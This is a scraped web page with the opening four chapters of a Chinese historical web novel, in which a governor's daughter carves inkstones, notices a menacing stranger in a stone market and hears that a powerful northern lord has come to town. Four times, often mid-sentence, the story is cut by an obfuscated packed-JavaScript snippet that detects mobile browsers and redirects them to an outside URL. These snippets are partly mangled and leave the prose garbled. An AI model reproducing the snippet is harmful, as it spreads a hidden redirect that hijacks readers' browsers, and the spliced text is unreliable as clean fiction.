《谁动了我的江山》 1. 第一章 纸和笔 三月的雨一直下个不停，细细的雨丝犹带一分寒意。春风十里，柳梢绿遍，江左之南烟生雾缭，水光潋滟。 乌镇水乡，也陷在这场连绵的春雨里。 “这雨什么时候才能停呢？” 连日来的阴雨天气，叫人无端生出几许烦闷。两个跪坐在门外的小侍女呆呆望着院子，闲极无聊。 屋里也有人在问这事。 “谁知道呢……”沈砚手上拿着圆刀，低头在一块石料上小心地磨去多余边角。 桌案上的深青石料是一块歙石，约三五寸长宽，已被打胚成一块近似长方形的砚台。石砚粗雕时，已凿出墨堂和墨池。桌上散放着十数柄小铁刀，铲刀、圆刀、平刀、斜刀，刻刀，还有毛刷、标尺、小木锤等物。沈砚用指尖捏着细杆小刀，专注地在质地坚润的歙砚上来回滑磨墨池的边线。 砚台到了精雕这一步，数十日重复着刀工，枯燥又乏味。 特制的桌案只有一臂高，沈砚盘腿坐着，微俯低头。从旁只瞧得见一头乌发梳辫而髻，别无他饰，清爽利落得不似她声音那般柔软懒惫。 一旁的吴娘可不敢学沈砚那样随意。三十几许的吴娘跪坐在软垫上，手里绣着一块手帕，半真半假笑道：“老天爷再不放晴，我们七娘也快坐成石头了。” 沈砚在家里序齿行七，上上下下都叫她七娘子，只亲近些的人叫她阿砚。 “不然呢，反正整日里无事可做，用它打发时间倒是不错。” 沈砚的声音漫不经心，吴娘却不敢以为她本意如此。沈砚学制砚三年有余，在这些石头上锤凿雕刻，耗费了无数时日。所以吴娘觉得沈砚心里是喜爱做这事的，不然如何能磨破一手血泡，留下一手薄茧来。 这份坚韧的心性，叫吴娘十分钦佩。 此时午后，天阴有灰云，即使沈砚坐在窗下，光线依然不算明亮。吴娘见她坐了有个把时辰，柔声劝道：“娘子起来歇一歇罢，我唤阿桃给你端一碗蜜儿酒，可好？” 沈砚半点也不想动，低头盯着刀口，嘴上却应了。 吴娘见她那敷衍模样，起身去门口，叫两个小侍女去取酒来。阿桃和阿杏早已见怪不怪，笑嘻嘻拿了伞走进雨里。 蜜儿酒虽是甜花酒，也是兑了酒曲的酒水，口感略有辛辣，但沈砚浑不当回儿事。早先沈砚她爹知道后哈哈大笑，就叫家里厨窖敞开了供小女儿取用，并不拦着她。 酒是粮食所酿，乱世里不但酒税奇高，且属军备物资，民间限产限量。也只有郓州太守，乌镇沈家，能有这样富贵容女孩儿纵饮。 吴娘吩咐完回来，瞥见沈砚不知何时支立起一条腿，一手贴着膝盖一手执刀，姿态极是豪迈。往日在屋里沈砚就不肯好好坐着，劝说无果，没有外人吴娘也就睁一只眼闭一只。 但像这样没个正形的，若被人看见，实在有碍淑女声望。 跟了那么久，吴娘知道沈砚在凿磨砚台时是不能受惊吓的。不只刀锤容易伤手，若不小心磕碰到砚石，两三个月的心血白费，沈砚的眼神会教人无地自容。 吴娘就轻声唤她：“七娘，奴婢有话想说，你停一停好么？” 沈砚平时十分随和，吴娘几个便很少自称奴婢。她手上圆刀修完一处，这才停手侧过脑袋：“唔？” 这一抬头一侧首，窗外春风忽哗声轻作，雨丝斜向。一两瓣桃花裹在风里，轻飘飘落在制砚的桌案上。 饶是日日对着七娘子，吴娘的心跳也快了一分。 她将眼神往沈砚支起的膝盖上一丢，柔声责备道：“娘子还不快些坐好，再过两月就要行笄礼，被夫人瞧见可饶不了你。” 沈砚这才注意到，立即从善如流改为跌坐。 这会儿被打断，她索性放下刀具：“母亲还能管我到几时？及笄后我就要出嫁，说不准就在今年了。” 吴娘也跪到沈砚身后，给她捏肩：“夫人舍不得七娘，怕是要再留两年呢。” 沈砚笑了笑，她母亲李氏可能舍不得，可她爹太守沈闵之一定舍得。 在这乱世里，世家大族的女孩，联姻是逃不脱的宿命，长长的家谱展开来，五姓七望皆是交错的姻亲关系。 沈家盘踞郓州近百年，几代人为汉天子牧守一方，也是了不得的高门大户。如今汉王室式微，大权旁落，各路诸侯拥兵自重，遍兴兵戈，沈家偏安一隅，虽无逐鹿之心，却也不能不为远大计。她能留到十五岁已是稀罕，只怕她的婚姻前程早在李氏和沈闵之心中，这些年不提，不过是她这做女儿的没有任何自主余地。 生不逢时，有片瓦遮风挡雨，便也要有为这屋檐修补奉纳的觉悟。 当世间，天地纲常都将颠覆，嫡庶之别就没分出那般的高低。沈砚嫡亲的哥哥沈复，去岁娶武陵王氏，为要替郓州守住大江船渡的南岸口；两个庶姐一位嫁在左近联固地方军门，一位北上嫁去太原范家，范是五大姓之一，此去是要向范家示好，通一通南北信息；族中兄弟姐妹也各自亲上加亲，巩固沈家在郓州的地位。 轮到沈砚，虽然她是沈太守唯一的嫡幼女，但命运并不会特别眷顾她。 沈砚冷眼旁观，对后半生并不怎么茫然恐惧。 不知谁说的，若是嫌日子太长，不妨找一件只需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142924|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最简单的工具就可投入的事，最好是一张纸和一支笔，就能以有生谋无涯，岁月忽忽而逝。 她拿起制砚台上的一柄小铁刀，斜口已有了钝迹。这些请打铁铺特制的刀具，即使用了上好生铁，依然很脆。她刚学制胚时，手上铁锤没个轻重，折毁了无数刀头。现在她已不是新手，她学会了怎样用这种细杆的小柄铁刀，在石头上雕凿出花儿。 它并不是很难的技艺，但很需要耐心，也很耗费时间。 以石为纸，以刀为笔，正适合她来投入，消磨时日。 吴娘还在给她揉捏肩膀，阿桃和阿杏从外面进来，带回一壶酒和一碟如意糕。沈砚不爱吃这甜腻的芝麻糯米糕，叫她们拿去分了，又取杯来自斟自饮。这花蜜儿味调的清酒，沈砚一口气喝几壶都不会醉。 望着窗外绵绵的细雨，沈砚轻叹一声：“这雨下得不好。” 阿桃和阿杏也附和：“是呢，恨不得下个痛快再放晴，好过这样。” …… 两日后天转阴晴。 这雨淅淅哗哗太久，说大不大，日常却也颇受影响。尽管仍是一地泥泞，乌镇人也憋不住了，惯会享受的闲富人家纷纷出门，踏青游乐，自有许多消遣。 沈家大宅里，仆婢们步履匆匆，忙着清扫雨后积垢。 太守夫人李氏抽空派人来问小女儿，愿不愿去无忧寺上一柱香。沈砚即将及笄，往后嫁了人内要主持家务，外要持礼交际，李氏早两年就让沈砚代行了不少礼赞露面之事。 沈砚闻言放下刻刀，二话不说就换了外出衣裳。 也正是觉得沈砚行事有分寸，一直以来，李氏才没阻拦女儿这点不同寻常的喜好。 无忧寺在城南，乱世里取了个好名字，香火很是旺盛。 早有人打先去寺里知会过，沈砚一到就被迎进大殿。沈砚以她母亲李氏的名义捐了香油钱，又代为上香祝祷。 知客僧请她后院用茶，沈砚婉拒了，“师傅不必理会我，我随意走走。” 这时的寺庙往往占地极广，背后多是世家大族扶持，高墙之中泰半都有好山好水，古树参天。在这拘着女子无法随意出行的世道里，因着各种缘由去寺里上香祈福躲懒，是不多的几个好借口之一。 沈砚闷了一月，慢慢行步在寺里，看黄墙绿枝，高天空远，渐觉一口郁气轻了不少。 闲逛了约两刻钟，吴娘见沈砚脚步慢下来，指了墙下一张石凳请她过去坐：“七娘可要叫寺里送茶水来？” “歇一会儿就回罢，”沈砚抬头，忽然笑道，“吴娘你看这是什么？是白花泡桐么，开花了。” 2. 第二章 金石巷的偶遇 三月里的泡桐树，光秃秃的褐枝上是团团白里透紫的盛大花事。一树繁花，花枝梳梳密密间杂着碧蓝的天色。 吴娘抬头，有些惋惜道：“真是美极了，可惜再有半月就要凋谢。” “先花后叶……哪有长开不败的道理。” 沈砚恍然，想到方才殿宇中那尊金身大日如来佛像。它汲取乱世的养分，受香烟供奉，但若有一日兵锋所指，它剥下金箔珠宝，就要千百倍还给战火。 这一春局势愈发紧张，她坐在家中都嗅到了一丝不同寻常的气息。每次出门，穿行于嘈杂的街市，水乡乌镇有如颠荡的浮舟，尘嚣之上是隐隐不安的躁动。那躁动由远及近，一浪掀动一浪，骇风惊涛转瞬间已迫近大江两岸。 而江南，郓州，莱州，蓬阳，荆南，还陷在缠绵的春雨里。 这么一想，便觉这春光都有些索然无味。沈砚起身道：“走罢，我想去金石巷逛逛。” 下回乱起来，还不知何时才有这自在时间。 …… 金石巷是个浑称，只因这儿聚集了乌镇诸多的金玉石刻铺子，一些老店就连原胚石料也有囤货，是郓州数得上的败家窝。这世道兵荒马乱，各州郡间交通来往并不太平，但人吃五谷，无论何时也不耽误富者穿金戴银，贵者佩玉玩石。 制砚的第一步就是挑选石料，虽说沈砚才入门，但她每次都寻机亲自来选料。她常去的那家石玩铺子名叫“裕丰斋”，面阔三间，专营砚石，就在金石巷的中段。 一行人才刚走近，铺内眼尖的伙计就迎上来招呼，“七娘子来啦，今日雨后，正是挑石料的好时机咧！” 沈砚是个低调性子，但再轻省的石料也有十百斤重，总不能这么抱回家去。那回她付账后留言让送去太守府，可着实叫店家吃了一惊。 谁能料到这纤美弱质的少女竟是太守府的女公子，这位女公子竟还有拿刀锤的喜好！ 大大小小的砚石原料堆在店门一侧，“裕丰斋”的钱掌柜与沈砚打了几年交道，见面寒暄过后，便扎进石堆里帮着挑拣。 吴娘和阿桃阿杏这些年耳濡目染，也知道些浅薄道理，三人跟着打量，小声凑趣。 “七娘子请看这上面的走线，”钱掌柜挑出两块片石递与沈砚，指给她看，“这是朝天岩的金线，太硬了，这是端溪老坑的金线，老坑的更柔和些……” 沈砚一面专注听着，一面感叹任何技艺臻于极致都大有学问。 线条何谓软硬，只怕在多数人眼中毫无区别。钱掌柜对她倒是不曾藏私，这几年每逢她出来选料，都耐心地将这些经验揉碎了教她。 吴娘几人也竖起耳朵，没办法，谁叫七娘喜欢石刻，跟不上娘子的喜好怎么行？ 沈砚听得仔细，眼角余光忽瞥见隔壁不知何时也围着一小圈人。 隔壁店铺是营卖翡翠玉石的，不但有成品翡翠，也囤着一些玉石毛料。为了揽客，解石台就设在门口，这些人围在进门处，想来是有客人在赌石。 因着江南地利，大理和骠国的翡翠原石倒是流入不少，沈砚的二叔就对赌石这种刺激玩法十分上瘾。 沈砚正要转回目光，忽见那人堆里有人似是察觉到她的视线，准准地回望过来。 一瞬间，沈砚背脊一寒，眼神不由僵住了。 那是个身量高挑的男人，不止长相英锐，眼神更是清亮骁悍，沉沉隐有压迫之意。 仅仅只是一次对视的瞬息，沈砚与他的目光擦过，两人各自转头，仿若不曾撞见这一刹那。 “……你仔细看这金线，它不是金色，是土黄色。再翻过来，你仔细看侧面石皮，这儿有个苔斑，瞧见了没有？”钱掌柜指着一个模糊的小青斑给吴娘她们传看，“青苔斑点是朝天岩特有的，下回记住喽！” 几人赶紧点头。 沈砚受教，又请他挑几块好料，要带回去慢慢琢磨。 “七娘子志趣非常，真是难得！” 生意上门，钱掌柜自是乐意效劳。吴娘便让阿桃跟着他，在选中的石料上做好标记，待过后送去太守府。 沈砚眼见着他们忙碌，只她知道自己压着心跳，大半心神都放在了隔壁翡翠铺。却再没在人群中感应到那个男人的气息，这让她心中的不安又加深了。 分明龙章凤姿，不可能是无名之辈。 “对了！” 钱掌柜忽想起一事来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142925|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“七娘子芳辰在五月里，择日不如撞日，老朽这儿有块上好的洮河石，送予七娘子正相宜。” 沈砚的生辰在郓州不是秘密，李氏每年都会为她操办。 见钱掌柜不似说笑，沈砚忙婉拒道：“使不得，掌柜你知我不过是新手，这件厚礼予我是送错了人，蒙尘糟践岂不可惜？” 若说这洮河石只是块石头，自然没错，但在懂行的人眼里，石通美玉，价值不可估量。何况洮砚石存世最稀，采集最难，洮砚之珍甚至叫仿冒不绝。 “依老朽看，七娘子聪颖好学，若是继续凿刻下去，将来必有一番成就。倘或有天七娘子将这块洮砚凿磨出世，再请老朽共赏，岂非一桩美谈？” 钱掌柜兴致颇高：“阿福，去，去把我柜子里的那个砚匣搬来！” “好咧，就去！” 沈砚只得道谢。 钱掌柜正要再勉励几句，隔壁店铺响起的欷歔吵嚷声渐大，人也越围越多。 “……又是废料，这都第六块了罢？” “哎呦瞧这石皮绿油油的，哪成想是块砖料哩！” “再来再来！嘿客人你挑这块，我老郭眼睛可亮着呢，这块肯定能解出绿货来！” “……要不贵客你换家店试试，往前走那家今早刚开出了黄阳绿！” 沈砚几人顺势望过去。 隔壁赌石圈里，除了拿着解刀的玉匠，便是时常混迹金石巷的散客，而那个十分有压迫感的男人……这会儿看着除了格外高挑些，再没那丝叫她忌惮的骁悍气。 “一刀穷，一刀富”，旁人围观赌石都伸长脖子盯着解石台，唯独那人负手旁观，站得笔直。他似也觉察到她的注目，转过头来淡淡一眼。 那眼里并没有什么实质，和她如出一辙。 这样的相似，叫沈砚心上被针扎似的一个激灵。她知自己眼中平湖底下是警觉和审视，那人在仿她。 “公子，我们还赌么，这运气总是不出翠呀！”圈内似有人在问询他。 那个男人轻描淡写：“赌，赌到解出为止。” 阿福也抱着砚匣出来了。 沈砚再次和他错开视线，各看各的石头。 3. 第三章 他很危险 佳砚通常会配上定制的砚匣辅以映衬，同时保护砚台在匣盒中稳妥安放。钱掌柜收藏的这块洮河石还未经打胚凿磨，阿福开匣后，即便是懵懂的吴娘几人也露出了惊艳神色。 沈砚也有些惊喜。 洮河石产自深水之底，书上说洮砚“石色碧绿、雅丽珍奇、质坚而细、晶莹如玉、扣之无声、呵之可出水珠”，眼前这块绿中隐约带蓝的石料现在竟是她的了。 “怎样，七娘子可还喜欢？” 钱掌柜见众人赏识他的藏品，自是十分得意：“若不是老朽这辈子只专注掌眼，于凿磨功夫上差了些，定是要留给自己打发余生的。如今适逢其会，七娘子不嫌它粗陋，也合该是它的缘分。” 老人家目光慈和，满是鼓励，沈砚心上一时竟有些热辣。她抿了抿唇，点头道：“有朝一日，定不叫师傅失望。” 就像她曾对吴娘说过那般，在她心里，凿砚多半是为消磨时光。何况她身在太守之家，注定此生汲汲营营，怕是无缘成就一番技艺。钱掌柜难得在她身上走了眼，不过……假以时日，费些水磨功夫雕凿一方上品砚台，倒也并非做不到。 钱掌柜合上砚匣，有些留恋地拍了拍。 买石头用的是沈砚的私房钱，石料未成佳砚前，并不像隔壁翡翠毛料那样昂贵。沈砚付完账后，又瞥了隔壁一眼，那个男人却不再默契地转过视线。 她皱了皱眉，告别钱掌柜。 沈砚走后，还站在外围观看赌石的男人才侧过脸。春风里湿润的水气映化在他眼中，变成冷冷清光。 …… 江南河泽遍布，山丘林立，婉转高低间不适车马，时人出行多爱乘轿。街巷咿呀声中，沈砚叫阿桃阿杏和轿夫跟在后头，又叫吴娘和她并步缓行。 这是有话要和吴娘说的意思。 “吴娘，你可注意到方才那个男人？”沈砚长眉微蹙，慢吟吟思量着，“他不是南人，他很危险。” 一听有危险，吴娘忙低声道：“娘子怎知他不是南人？” “这不难猜。江南早就兴起赌石之风，尤其是乌镇，因我爹坐镇此地，更叫奢靡横行。你看他那样大手笔，却对解石结果并不放心上，这种大户是赌石界的最爱，我二叔混迹于金石巷，却未曾听他提及过此人，此其一。” “其二，那人叫赌到出翠为止，若非无知，便是他有这财力。老实说就连我爹也没这样的豪气，放眼江南，有这财力的几家公子，你看他才二十出头模样，有钱都是公中有钱，谁做得了主这样去赌？” 吴娘啧啧惊叹，指了指天上：“照娘子这样说，这是过江龙啊。” 当世间五大姓，刘是皇姓，再有博陵崔氏，太原范氏，津口王氏，荥阳郑氏，均是几百年传承。乌镇沈太守家与之相比，不过是才刚懂得穿衣吃饭的蹒跚小姓而已。 沈砚点头，算是应了吴娘的话：“你知我向来对这些事作壁上观，但这人来的时机太巧了……我爹毕竟是我爹，我只怕他要吃亏。” 五大姓过江来到乌镇，也只有主政郓州的沈太守值得一会了。 对沈砚“作壁上观”的举措，一直是吴娘心中一大疑惑。难得见她主动提起，吴娘趁机道：“七娘说的时机，可是上月你曾提起的那一桩？只是这与我们使君又有何干呢，我们郓州向来不掺合这些朝堂之事。” 吴娘也和旁人一样，尊称沈太守为“使君”。 换了往常，沈砚是不愿提起这些的。这个世道里，人命轻如草芥，尊卑良贱之别泾渭分明，男女皆苦，女子尤甚，除了生育劳作外就别无他用。这一切起初都叫旁观的沈砚难受极了，是以她对什么都兴致缺缺。 但她生在太守家中，江左之南几千里的动静都在眼皮底下，便是闭着眼睛也还有耳朵听进了些许讯息。 不过一直以来，沈砚既不管她娘李氏后院的家长里短，也不管她爹沈太守的州牧大事，只安静地和石头打交道，十分无害。 忙碌的父母对这样的她十分满意，她也觉得自己十分省心。 十分令人省心的沈砚，平日里唯一的烦恼是，她似乎知道的太多了。 沈砚心内轻叹一声，半真半假道：“江南安逸已久，几朝更迭均未伤动元气，每每在夹缝中破财求衡，竟也得以维继。但那是有前提的，如今大汉立国近两百年，士庶、土地矛盾积重难返，这次诸侯之乱是顺应时势，必将波及全境，怕是江南也不能幸免。” 汉朝自高祖夺得天下，后经启帝、恒帝、惠帝、明帝、景帝承继，子孙宗室分封不计其数，与民争利，民怨早已沸腾。景帝时又好长生问道，迷信丹药，以至于宦官弄权，奸臣当朝。后景帝因服用方士进献的仙丹，燥亢难耐，偏瘫而亡，随即叫大汉陷入了数十年的混乱期。 景帝去后因郑王后无子，后宫前朝几度动乱，权力更迭，接连两任皇帝都死于非命。朝中党争日益严峻，指鹿为马，大肆排除异己，以致人人自危，惶惶难保朝夕，大批官吏挂冠求去。待得周太后与大将军扶持四岁的幼帝登基，改元“奉安”，几大世家也相机撤出中枢，明哲保身。 只剩刘皇宗室集结对抗，发讨贼檄文，为清君侧，叫汉朝恢复正统，与周太后等激战数年。 奉安年间政局混乱，政令不通，民生凋敝，再加天灾连连，各州郡纷纷与朝廷离心， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142926|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自立门户。尤其几大世家，本为豪强，如今圈地一方，实成诸侯。待刘皇宗室终于定下局势，再回身，天下民心尽失，诸侯反骨已成，汉庭名存实亡。 去夏八岁的刘霆登基，今春刚改年“元康”。 但中原和北地战火，已兵戎相见六七载，尸山血海，只江南有浩浩天堑相隔，暂得安生。 三月的春风里，散逸着水乡特有的湿润水汽。 高天疏阔，阴云未及之前，半空飞着几只拖尾的纸鸢，摇摇欲坠。 沈砚收回视线，一口郁气化为无声的叹息。 “不管什么时机，都对郓州有害无利。因我爹不是锐意进取之人，他是守成之主，这便是最大的问题。” 吴娘唬了一跳，不知道怎么接话。 沈砚也没有继续：“不过天塌下来还有高个儿，这些事和我们没什么干系，走罢，这趟出来久了。” 吴娘忙回身招呼阿桃阿杏跟上，心里不觉有一丝遗憾。她只恨自己心拙嘴笨，除了照顾七娘起居，在旁的事上竟接不住话，和娘子聊不过三句。 …… 回了府邸，沈砚先去见母亲李氏。 不料走到李氏院门口，竟有个老婆子将她拦下，“七娘子恕罪，夫人屋里有客，早先交代让娘子晚间再来用饭。” 沈砚没什么好奇心，自是应下。 回去路上，不用吩咐，吴娘一个眼神，阿杏就去打探消息了。 沈家三代四房同居，人丁兴旺。 沈砚这一嫡支，她上头除了一个嫡亲哥哥和出嫁的两个庶姐，下边还有六个弟弟妹妹，均是她爹的侍妾所出。这么多人住着，便难得有人能独占一处，沈砚和十二岁的庶妹沈瑄就住在一个小院里。 瞧见沈砚回来，原在廊下大缸前喂鱼的沈瑄，把鱼食往盘子上一丢。她踩着白袜绕着廊道跑了小半圈，高兴道：“七姐姐，你回来啦！” 沈砚看着是个冷淡性子，奈何这个妹妹就是不碰壁，一直笑脸相迎。 还是吴娘知道怎么打发十二娘子，忙叫阿桃拿出在街上买的糖糕吃食，三人就热热闹闹分了。 沈砚在屋里换了轻便的交领襦裙，捧着热茶，看沈瑄在门口和阿桃说笑。这是她的庶妹，她们身上流着一半的父系血缘，此时望着她，沈砚心里已没有早先几年那微妙的违和感。 这世道，谁个家中不是三妻四妾，和这些同姓兄妹相处，不远不近便是了。 不一会儿阿杏回来，脸色有些白，竟不敢过来回话。 沈砚瞧见她拉着吴娘说话，连带着吴娘也面色犹豫，不由笑道：“怎么，有什么不能让我知道的么？” 4. 第四章 燕地崔侯 阿杏轻推了一下吴娘，意思是让吴娘来说。 吴娘便道：“七娘，你裙上的绦子系歪了，我帮你到里间重新打上可好？” 沈砚自无不可，率先进屋。 她的起居寝间如她本人一般，收拾得很是古朴素雅，墙边多宝阁上不见金玉摆件，满是书匣、竹简和画轴。除了案几上的小瓶里插着两支水仙，别无他饰。不过排窗外就是青青盈盈的春日景色，倒也不显沉闷。 吴娘不等沈砚发问，主动道：“不是什么要紧事，阿杏打听了几句，原是夫人发现灶房上有个采买中饱私囊，正在处置罢了。” 饶是吴娘放柔了声音，又是轻描淡写的模样，还是叫沈砚打了个寒颤。 沈砚没有立时开口，过了一会儿才叹道：“吴娘，你们既不想让我知道，方才为何要形露于色？” 非是她太灵敏，若要瞒着便要收敛好行迹，这般躲闪，谁还看不出。 吴娘语塞。 知道糊弄不过去，她咬牙道：“奴婢凡事也不愿瞒着娘子，只是怕叫你想起些不好的事来，府里确是抓到一个采买，那人是益阳派来的细作。” 那轻声细语的模样，似生怕会惊扰起那些遥远的角落里已落定的尘埃。 这并不是风平浪静的世道，恰恰相反，乱世喧嚣，此际遍地是仗剑游走的侠士和说客，这还是明面上的。而在黑暗里的交锋，有你无我，生死无常，更加残酷。 余下的话不必多说，沈砚已明白了母亲李氏和吴娘几个的用心。她眼前如有黑暗扑面而来，倏忽间回到了那个夜晚—— 七岁的小沈砚发着烧，迷迷糊糊去找李氏。谁也没注意到她是什么时候来的，谁也不曾料到她竟撞见一个女细作在沈太守的逼问下，突然拔钗自尽，血溅当场。 女人还有余力连刺几下，尖尖的钗尾带起一串温热血珠，飞溅到了她眼睛里。 懵然的她当晚就高热昏迷，在极度不安中挣扎到半夜。万籁俱寂时，谁也不知道这晚间沈七娘已换了个魂芯。 沈砚醒来后，李氏庆幸小女儿捡回一条命，再不敢叫沈闵之把这些事带到后院来。 这回大约也只是羁押着等州狱来交接。李氏之所以让好声好气拦着沈砚，用意和吴娘是一样的，只怕刺激到她。 沈砚能理解，那暴戾非亲眼见过，永远不能想象对心灵是怎样的冲击。 吴娘还跪坐在软垫上，眼神紧张地看着她。 沈砚缓缓扬起唇角，安抚道：“吴娘不必担心，这些年你都看在眼里，我不是那么容易受影响的人。” 她微微露出的笑容，清净适意，眼睛望过来轻易就叫人信服了。吴娘的一颗心这才落地：“如此才好，娘子万万忘了才好。” 沈砚点头，似是附议。 然而就像不曾见过的人无从想象那有多惊骇，见过的人也不可能再忘怀。即便吴娘已成可以信赖的臂膀，有些事仍不能告诉她。 “娘子，”阿杏清脆的嗓音从门口传来，“后角门来通报，钱掌柜拉了一车石料来。” “他竟亲自来了？”沈砚回神，叫吴娘起身同去，“定是送那方洮河石来的。你将我前日新得的茶叶匀出两罐，我们去迎一迎。” 吴娘忙应下。 几人到了廊下穿绣鞋，沈瑄眼巴巴地也要跟去。 沈砚喜欢这些石头，沈瑄住在一处是知道的。她性子活泼，若叫她闷坐几个时辰看沈砚重复枯燥的刀工，那可太难熬了，但除此之外的事，她很乐意跟着折腾。 沈砚仍是淡淡的：“随你。” 得了允许，沈瑄乐不可支，忙穿鞋跟上。 到了后角门，见果然是钱掌柜与阿福押车来。沈砚让吴娘奉上回礼，又命人接了乌木匣仔细捧好，余下自有健仆将石料搬上府里的独轮车。 待与钱掌柜告别后，老顽童似的人忽又叫住她，“七娘子，老朽不会看走眼的！” 沈砚回身，失笑：“师傅回见。” …… 三月的天，才刚傍晚酉时，已然灰胧黯淡。沈砚换了件襦裙，叫阿桃挑上灯笼，要去到母亲李氏的屋里用饭。她的两个侍女里，阿桃性子沉静些，沈砚自己也是个闷声不响的，两人一块儿的时候足叫人以为沈七木讷无趣。 吴娘却不好到处和人说，我们七娘才不是这样的。 李氏年近四十，是个十分雍容富态的母亲，但做为太守夫人她真的太操劳了。沈砚去时，饭厅里的女婢正摆餐具，这时的世家大族还流行分餐制，那一套套的碗碟筷件摆开来，桌几上大大小小，琳琅满目。 李氏在里屋，与人吩咐着几天后社日祭祀农事的安排。 沈砚做不来依偎撒娇状，只向李氏问安。 李氏招手让她近前，问道：“蕤蕤日间去无忧寺，可曾为自己上柱香？” “蕤蕤”是沈砚的小字，因她生在五月里，五月在古语里也叫蕤月。往常就连李氏也很少这样称呼她，沈砚垂眸道：“不曾，母亲知道的，我不大信这些。” 时人笃信佛教，沈砚却是个异类。她可以逛寺庙代李氏上香，自己却不肯配那开光的佛件，也不信菩萨和佛法，游玩归游玩，信仰归信仰。 沈砚这样坦荡，反叫她爹觉得她有禅性，也叫李氏不再强迫她。 “你便是再犟，为自己请柱姻缘香也是该的，”李氏望着姿容姝丽的小女儿，感叹道，“再过两月你就及笄长大，这婚事也该预备起来了。” 沈砚是无所谓嫁给谁的，就笑道：“总归母亲选的是最好的。” 十分省心。 李氏也很满意。外间有小婢报“大公子到”，她就转了话头：“是你哥哥嫂嫂来了，走罢，我们用饭去。” 沈砚陪李氏到了饭厅，就见兄长沈复和嫂子王茉一对璧人站在不远处。 几人互相见礼，沈复想来是听见了什么风声，有些狭促笑道：“一眨眼阿砚长到这般高，也是个大人模样了。” 因是同胞兄妹，沈砚和哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142927|164566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥的关系自小就不错，后来虽是沈砚冷淡了些，但沈复也忙于州衙职务，在外人眼中两兄妹便还是亲近的。 王茉对这个嫡亲小姑子也十分友善，跟着打趣道：“阿砚出落得越发好了，果真是郓州第一美人，我瞧着连娘都要比下去了。” 李氏笑骂道：“夸你妹妹何苦捎上我？” 众人去到饭厅落座，仆婢便开始鱼贯上菜。沈闵之这一脉还有数个庶出子女，但显然在李氏心中，只有她嫡出的一对儿女和儿媳，才配同坐同食。 刚动了两筷子，一家之主沈闵之竟急匆匆回来了。 沈砚几人起身见礼。 李氏也问道：“夫君怎的这时辰回来了，今晚不是在观松楼宴请乡老么？” 沈闵之年已四十又六，生得面白无须，相貌堂堂。上了这个年纪，江南又不跑马，沈太守整日里游宴不断，便有几分心宽身胖的体态。他摆摆手叫侍女退开，急声道：“我说几句便走，方才有人递信与我，道是燕地的崔侯来了乌镇，近日要上沈家拜访，你可好生准备准备！” 李氏吃了一惊，不觉扬声道：“燕地崔侯？可是博陵崔家的那个崔岑？” 这若是一般客人，打发个仆从回来说声便是，何至于让一方州牧大员着急忙慌丢下宴客，亲来嘱咐？ 就连沈复也两眼放光：“真是他！？” “除了他，还有谁敢冒名？”沈闵之自己还有些晕乎呢，如今江北和中原的战事胶着，这人怎会有空到乌镇来？他不愿妻儿多想，便只交代李氏做足礼数即可，余下哪还有心思赴宴吃席，赶忙去前衙找幕僚问策通气去了。 李氏得了消息，一时也没了胃口：“这说的近日是哪一日，是明日还是后日？” 竟是他。 沈砚对崔岑原只是闻名，此刻凭直觉，将这名字和今日在金石巷撞见的那个男人对上了号。 投胎是这世间最没有道理可讲的事，出身博陵崔氏的崔岑，这辈子无论如何行事，天生就比旁人多占了几分先机。何况他自身也并非等闲纨绔，二十岁上便已声名鹊起，不靠荫封，凭自己杀出一条天路，是敕诏天下的“衡水侯”。 需知奉安年间，朝野暴动，上下唯一共识便是同声要求节制封侯和圈地，这十数年的乱局叫有识之士纷纷看清“分封制”是乱象根源。何况崔氏尚有崔岑他爹汝阳侯健在，此时再封一侯，无疑会令中原大地更添乱相，百官绝不能答应。 这敕诏，也确实不是汉王室甘愿的。原是胆大包天的崔岑竟趁中枢不备，带兵奇袭距离咸阳只有一个关隘远的汶水，叫天下震动，外强中干的汉廷不得不许尽好处，才稳住了局势。 